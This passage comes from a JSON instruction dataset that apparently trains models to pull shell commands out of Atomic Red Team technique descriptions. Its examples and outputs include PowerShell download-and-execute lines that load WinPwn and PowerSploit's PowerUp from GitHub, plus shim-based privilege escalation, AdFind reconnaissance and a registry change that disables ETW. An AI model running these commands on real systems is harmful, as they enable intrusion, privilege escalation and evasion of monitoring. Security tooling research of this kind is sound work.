    "output": "{\"command_list\": [\"iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')\\nGeneralrecon -consoleoutput -noninteractive\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    The PowerShell cmdlet Get-Process can be executed to list all processes, like this: Get-Process",
    "output": "{\"command_list\": [\"Get-Process\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    This Atomic Red Team test uses Chrome's headless browser to visit a Mockbin site, which you can execute with the command: start \"\" #{browser} --headless --disable-gpu https://mockbin.org/bin/#{bin_id}",
    "output": "{\"command_list\": [\"start \\\"\\\" #{browser} --headless --disable-gpu https://mockbin.org/bin/#{bin_id}\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    To install a shim database for privilege escalation, use the following command: sdbinst.exe \"#{file_path}\"",
    "output": "{\"command_list\": [\"sdbinst.exe \\\"#{file_path}\\\"\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    For testing purposes, you can generate significant CPU load that resembles cryptojacking activity via the command: yes > /dev/null. Remember to end the test with CTRL/CMD+C.",
    "output": "{\"command_list\": [\"yes > /dev/null\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    To perform Active Directory reconnaissance similar to ransomware actor techniques, use the AdFind tool with the command: \"PathToAtomicsFolder\\..\\ExternalPayloads\\AdFind.exe\" -f (objectcategory=group) #{optional_args}",
    "output": "{\"command_list\": [\"\\\"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\AdFind.exe\\\" -f (objectcategory=group) #{optional_args}\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    The dsquery tool, which requires installation via Windows RSAT or the Windows Server AD DS role, can be used to find domain trusts with this command: dsquery * -filter \"(objectClass=trustedDomain)\" -attr *",
    "output": "{\"command_list\": [\"dsquery * -filter \\\"(objectClass=trustedDomain)\\\" -attr *\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    To disable ETW for the .NET Framework, you can set the COMPlus_ETWEnabled environment variable to 0 in the HKLM registry using the following PowerShell command: New-ItemProperty -Path \"HKLM:\\SYSTEM\\CurrentControlSet\\Control\\Session Manager\\Environment\" -Name COMPlus_ETWEnabled -Value 0 -PropertyType \"String\" -Force. Note that a reboot may be required for the changes to take effect.",
    "output": "{\"command_list\": [\"New-ItemProperty -Path \\\"HKLM:\\\\SYSTEM\\\\CurrentControlSet\\\\Control\\\\Session Manager\\\\Environment\\\" -Name COMPlus_ETWEnabled -Value 0 -PropertyType \\\"String\\\" -Force\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
